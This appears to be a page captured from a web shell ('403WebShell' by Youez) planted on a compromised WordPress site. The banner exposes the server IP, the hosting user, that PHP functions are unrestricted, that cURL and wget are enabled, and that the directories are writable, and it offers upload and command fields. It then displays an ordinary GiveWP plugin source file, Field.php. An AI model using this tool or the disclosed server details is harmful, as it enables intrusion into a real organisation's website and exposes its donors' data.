Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.86.30
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Framework/FieldsAPI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Framework/FieldsAPI/Field.php
<?php

namespace Give\Framework\FieldsAPI;

use Give\Framework\FieldsAPI\Contracts\Node;
use Give\Framework\FieldsAPI\Exceptions\EmptyNameException;
use Give\Framework\FieldsAPI\ValueObjects\PersistenceScope;
use Give\Vendors\StellarWP\Validation\Concerns\HasValidationRules;

/**
 * @since 2.27.3 add ShowInAdmin, ShowInReceipt, StoreAsMeta
 * @since      2.17.0 allow fields to be macroable
 * @since      2.12.0
 * @since      2.13.0 Support visibility conditions
 * @since 2.22.0 Add TapNode trait
 */
abstract class Field implements Node
{
    use Concerns\HasDefaultValue;
    use Concerns\HasName;
    use Concerns\HasType;
    use Concerns\HasPersistence;
    use Concerns\IsReadOnly;
    use Concerns\IsRequired;
    use Concerns\Macroable;
    use Concerns\SerializeAsJson;
    use Concerns\TapNode;
    use Concerns\ShowInAdmin;
    use Concerns\ShowInReceipt;
    use Concerns\HasVisibilityConditions {
        Concerns\HasVisibilityConditions::__construct as private __visibilityConditionsConstruct;
    }
    use HasValidationRules {
        HasValidationRules::__construct as private __validationRulesConstruct;
    }

    /**
     * @since 2.32.0 sets the default scope to donation
     * @since 2.23.1 make constructor final to avoid unsafe usage of `new static()`.
     * @since 2.12.0
     *
     * @throws EmptyNameException
     */
    final public function __construct(string $name)
    {
        if (!$name) {
            throw new EmptyNameException();
        }

        $this->name = $name;
        $this->scope = PersistenceScope::donation();
        $this->__validationRulesConstruct();
        $this->__visibilityConditionsConstruct();
    }

    /**
     * @inheritDoc
     */
    public function getNodeType(): string
    {
        return 'field';
    }

    /**
     * Create a named field.
     *
     * @since 2.12.0
     *
     * @return static
     * @throws EmptyNameException
     */
    public static function make(string $name): self
    {
        if (!$name) {
            throw new EmptyNameException();
        }

        return new static($name);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit